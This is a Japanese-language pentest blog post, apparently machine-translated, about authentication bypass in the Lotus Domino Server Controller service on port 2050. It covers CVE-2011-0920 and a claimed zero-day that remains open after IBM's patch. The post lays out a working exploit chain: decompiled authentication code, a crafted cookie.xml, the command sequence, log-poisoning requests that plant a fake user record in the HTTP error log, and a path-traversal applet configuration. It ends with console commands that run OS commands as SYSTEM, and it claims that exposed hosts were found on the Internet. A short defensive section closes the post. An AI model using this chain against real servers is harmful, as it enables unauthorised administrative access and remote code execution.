Lotus Dominoでの浸透

Lotus Domino Controllerサービスの脆弱性を利用する

最近、よくあるペンテストで、人気のあるソフトウェアの0日間の脆弱性を特定したり、プライベートなエクスプロイトを開発したりする方法についての話をよくします。 実際、この種の問題は、ペンテスト中にめったに選択的に解決されず、これには理由があります。



それでも、私はそのような問題を解決するとき、ペンテストが単調なスキャン、ブルートフォース、Webアプリケーションのパラメーターへの引用の範囲を超えた方法についてのストーリー（ええ、ストーリー）を共有したいと思います。 つまり、この投稿では、 Lotus Domino Server Controllerの単純なバグ、プライベートエクスプロイトの作成方法、および現在でも関連するゼロデイ問題について説明します。

侵入テスト

だから、侵入テスト。 このトピックは、毎年さまざまなブログやさまざまな専門家で着実に熟考されています。 これは偶然ではありません。このサービスには多くの異なる微妙さと落とし穴があります。 しかし、私はこのことの必要性、有用性、内容について水をかき立てるつもりはありません。作品自体についてお話したいと思います。 ペンテストをペンテストにするものについて。



ペンテスターは、情報システムのコンポーネントに対する攻撃の実装という主要なタスクを遂行するために、多くのサブタスクを解決します。 同時に、メインタスクのトピックに関する詳細な説明と可能なバリエーションを括弧の外に残します。これは今も興味深いものではありませんが、「最先端」の2つまたは3つのサブタスクがあります。

• 脆弱性の検索（および確認）
• エクスプロイト開発
• 脆弱性の悪用

ペンテストの1つで、PoCや問題の詳細な説明がなくても、公開されているエクスプロイトなしで一連の脆弱性が発見されました。 そのため、このような脆弱性の1つとして、すべてを自分で学び、プライベートエクスプロイトを作成することが決定されました。

Lotus Domino Server Controllerの認証バイパス

CVE-2011-0920

この脆弱性はPatrick Karlssonによって発見され、 ZDIで内臓を売りました。 したがって、ZDI Webサイトからの説明は、私たちが持っている唯一の情報です。 短い改定：



「Domino Controllerサービスの脆弱性、TCPポート2050。認証中、攻撃者はCOOKIEFILEパラメーターをUNCパスとして設定し、ソース認証データと認証値の制御を確立できます。 これにより、認証検証メカニズムをバイパスして、管理コンソールにアクセスできます。 SYSTEM特権でコードを実行します。」



説明は、詳細ではありませんが、何が起こっているかについて十分に述べています。 これは、ポート番号2050に接続し、プロトコルを介してCOOKIEFILEパラメーターをスリップして、\\ ATTACKER_HOST \ FILEなどのパスを示すことができることを意味します。 そして、このファイルにユーザー名とパスワードを入力し、同じユーザー名とパスワードを使用してログインします。 プロトコルとファイル形式を解析するために、少しだけ残っています。 Nmapスキャンを使用すると、すべての作業がSSLを介して行われていることを確認できますが、SSLラッパーの通信プロトコルは引き続き表示されます。 実際、非常に簡単です。LotusDomino Controllerサービスは、クライアント部分とサーバー部分の両方がすべて1つのファイルでJavaで完全に記述されていることに注意するだけで十分です。



C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar







このファイルは簡単に逆コンパイルできます（たとえば、 DJ Java Decompilerを使用しますが、望みどおりではありません）。 その後、リクエストの接続と処理を担当するコードを探します。 要求処理は、クラスNewClientで実行されます。 このクラスでは、＃COMMAND param1、param2、...という形式のプレーンテキストリクエストが解析されます。すべてのコマンドは個別に説明されています。

  . . . //  ReadFromUser(); // s1 –   2050/tcp if(s1.equals("#EXIT")) return 2; . . . if(s1.equals("#APPLET")) return 6; . . . if(s1.equals("#COOKIEFILE")) if(stringtokenizer.hasMoreTokens()) //     - // : #COOKIEFILE <cookieFilename> cookieFilename = stringtokenizer.nextToken().trim(); // return 7; . . . if(s1.equals("#UI")) if(stringtokenizer.hasMoreTokens()) // : #UI <login>,<password> usr = stringtokenizer.nextToken(",").trim(); //Login if(usr == null) return 4; if(stringtokenizer.hasMoreTokens()) // passwords pwd = stringtokenizer.nextToken().trim(); //Password return 0;
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

そのため、COOKIEFILEパラメーターを満たしました。 ただし、1つでは不十分です。 メインループについて考えます。

  do { int i = ReadFromUser(); //Point.1 if(i == 2) break; //if #EXIT . . . if(i == 6) //if #APPLET Point.2 { appletConnection = true; continue; } . . . //     admindata.xml . . . if(userinfo == null) //Point.9 { //     admindata.xml WriteToUser("NOT_REG_ADMIN"); continue; } . . . if(!appletConnection) //Point.3 flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD()) else flag = verifyAppletUserCookie(usr, pwd); // if #APPLET . . . if(flag) WriteToUser("VALID_USER"); else WriteToUser("WRONG_PASSWORD"); } while(true); if(flag) { //  . . . }else { // }
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ご覧のとおり、2つの認証オプションがあります（Point.3）。 1つ目はログインとパスワードによるもので、2つ目はログインとパスワードによるものですが、COOKIEFILEを使用します。 この場合、2番目のオプションは、その前に#APPLET（Point.2）コマンドがあった場合にのみ選択されます。 すべてのコマンドはループで順番に読み込まれます（Point.1）。 したがって、＃COOKIEFILEだけでは十分ではありません。



これでプロトコルの形式がわかりました。ファイル自体の形式は何ですか？ verifyAppletUserCookie関数を検討してください。

 File file = new File(cookieFilename); //Point.4 . . . inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8"); . . . inputstreamreader.read(ac, 0, i); //Point.5 . . . String s7 = new String(ac); . . . do { if((j = s7.indexOf("<user ", j)) <= 0) //Point.6 break; int k = s7.indexOf(">", j); if(k == -1) break; String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7 . . . String s3 = getStringToken(s7, "cookie=\"", "\"", j, k); . . . String s4 = getStringToken(s7, "address=\"", "\"", j, k); . . . //Point.8 if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\ appletUserAddress.equalsIgnoreCase(s4)) { flag = true; break; } . . . } while(true);
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

Point.4としてコメント化された行でファイルが開き、その名前がユーザーによって設定されていることがわかります（変数は#COOKIEFILEコマンドの解析時にReadFromUser（）関数で初期化されます）。 さらに、入力はいかなる方法でもフィルタリングされず、少なくともUNCパスが存在する可能性があります。 次に、ファイルはs7行（Point.5）に読み込まれます。 次に、この行はループで処理されます。これは、次の形式の通常のXMLファイルであることがわかります。

 <user name=”usr” cookie=”pass” address=”value”>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

次に、Point.8としてコメント化された行で、ログイン、パスワード、およびアドレスの値（#ADDRESS）が対応するタグ属性と比較されます。 このファイルは（UNCパスをスリップすることにより）リモートホストから読み取ることができるため、攻撃は簡単かつ明白になります。



これは、ZDI-11-110の脆弱性の悪用方法です。



1.ファイル（cookie.xml）を作成します。

 <user name="admin" cookie="dsecrg" address="10.10.0.1">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

2. ncatを使用します







「#APPLET」コマンドは、認証にCookieを使用することをサーバーに指示します。 ここで、「＃UI」コマンドを使用して認証を試みると、サーバーは「#COOKIEFILE」を使用して指定したパスに沿ってファイルを開こうとします。 その後、彼はそこから認証データを取得し、＃UIコマンドの後に入力されたデータと比較します。 「#EXIT」コマンドの後、サーバーは認証されたユーザーの入力処理を開始し、OSコマンドを実行するだけでなく、サービスを既に管理できます。



おとぎ話は終わったようです。 さらに、IBMはこの問題を修正しました。 これらのイノベーションは、バージョン8.5.2FP3および8.5.3以降に登場しています。

修正1。

現在、ポート2050に接続するには有効なクライアント証明書が必要です。 つまり、NcatとNmapはポート2050では動作しなくなりました。

修正2。

現在、ファイル名の前に「。\」が追加されています。これは、UNCを使用できなくなったことを意味します。 脆弱性が修正されました。 パッチは適切なようです。



これは実際にはそうではありません。 コードの行をもう一度見てください（Point.6およびPoint.7としてコメント化されています）。 getStringToken関数は、実際にはサブストリングです。 したがって、このモジュールを実装するときにプログラマーが独自のXMLパーサーを記述することに頼ったのは、非常に明白な質問です。 明らかに、このパーサーは、対応する行を含むすべてのファイルで機能します：「<user」、「name =」など。 言い換えると、私たちが期待するものは次のとおりです。

 <user name="usr" cookie="psw" address="dsecrg">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

しかし、ここにあなたが滑り込むことができるものがあり、それは同様に解析されます：

 trashtrash<user sdsdasdsdname=”usr”sadasd asdnkasdk cookie=”psw”sssssaddress=”dsecrg”bf %>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これはどういう意味ですか？ どうやら、コードの同じセクションに別の脆弱性が見つかりました。 つまり、ローカルファイルに接続する機能と組み合わせて（UNCはできませんが、トラバーサルディレクトリは次のようにできます：#COOKIEFILE .. \ .. \ .. \ .. \ file-> 。\ .. \ .. \ .. \ file）、書き込み可能なファイルに認証データを挿入できます。



例：



1. Microsoft HTTPAPIサービスを使用した注入可能なCookie値（適切なタイミングで軍の敵のサーバーでこのログファイルを見つけてくれた水差しに感謝）：

 C:\> ncat targethost 49152 GET /<user HTTP/1.0 C:\> ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ここで\ r \ nはEnterだけです！



2.サーバー上のログファイルは次のようになります。

 #Software: Microsoft HTTP API 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16 #Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET <user 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9 47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound - 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

IBMパーサーは、末尾にスペースを含む文字列「<user」を検索するため、偶然ではなく2つの要求が行われました。 また、リクエスト内のすべてのスペースは「％20」としてエンコードされているため、これは私たちには適していません。 次に、「<user」の後にWebサーバー自体がスペースを設定するように最初のリクエストを作成します（リクエストと結果「404-NotFound」の間に）。 2番目のクエリでは、残りをプッシュします。



さて、ほとんどすべての準備が整いました。SSL証明書がないため、2050への接続方法を学ぶだけです。 それともありますか？ dconsole.jarはアプレットとしてのクライアント部分にも責任があることを思い出して、そこに証明書があるべきであることは明らかです-そしてそれはそこにあります。 そして鍵はそこにあります。 すべてがそこにあります。 原則として、キーを引き出してエクスプロイトを作成できますが、面倒すぎる場合は、このアプレットを直接使用できます。

 <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%“> <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

このアプレットを任意のブラウザーにロードし、ローカルポート2050からリモートポートにリダイレクトを追加するだけで、効果が得られます。 ビデオの例：



コンソールからコマンドを実行します。 オプション1：



LOAD cmd.exe /c command







コンソールからコマンドを実行します。 オプション2：



$ command

保護：

• ポート2050は実際にフィルタリングする必要があります。
• 追加のコンソールパスワードを設定して、コンソールで危険なコマンドを無効にします（最初のバージョンではコンソールからコマンドを実行できないようにします）。
• ファイルadmindata.xmlを確認してください。 各ユーザーについて、特権を確認する必要があります。 4、25、または26の値は、このユーザーがシステムコマンドを実行する権利を持っていることを示します！ それらを削除することにより、2番目のバージョンのコンソールからコマンドを実行しないように保護します。

注：

上記のすべてのオプションの攻撃者は、認証を正常にバイパスするために、正しいログイン値を知っている必要があります。 ログインが存在しない場合はNOT_REG_ADMINエラーが生成され、パスワードが正しくない場合はWRONG_PASSWORD（Point.9）であるため、いずれの場合も列挙できます。

インターネットからのPS攻撃

サブネットモスクワ大学：







.govドメイン、またはアメリカの科学者はファイアウォールが好きではありません：







IBM自体でさえ、ポート2050をフィルタリングしてLotusを更新することはできません（+ログインを推測するデモ）：

結論

• パッチが常に問題を最後まで解決するとは限りません。
• ファイアウォールは最高の保護です。
• 組み込みのセキュリティ設定を無視しないでください。

...そして、0day脆弱性でさえひどいものではありません。